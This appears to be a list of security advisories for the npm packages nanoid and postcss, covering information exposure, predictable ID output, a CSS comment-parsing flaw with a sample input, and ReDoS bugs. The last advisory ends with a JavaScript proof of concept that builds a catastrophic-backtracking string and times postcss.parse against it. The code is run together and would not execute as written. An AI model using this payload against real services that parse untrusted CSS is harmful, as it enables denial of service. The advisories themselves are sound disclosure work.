Package Instance

Exposure of Sensitive Information to an Unauthorized Actor in nanoid
The package nanoid from 3.0.0, before 3.1.31, are vulnerable to Information Exposure via the valueOf() function which allows to reproduce the last id generated.

Regular Expression Denial of Service in postcss
The npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Predictable results in nanoid generation when given non-integer values
When nanoid is called with a fractional value, there were a number of undesirable effects:

1. in browser and non-secure, the code infinite loops on while (size--)
2. in node, the value of poolOffset becomes fractional, causing calls to nanoid to return zeroes until the pool is next filled
3. if the first call in node is a fractional argument, the initial buffer allocation fails with an error

Version 3.3.8 and 5.0.9 are fixed.

Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern 
```regex
\/\*\s* sourceMappingURL=(.*)
```

### PoC
```js
var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
```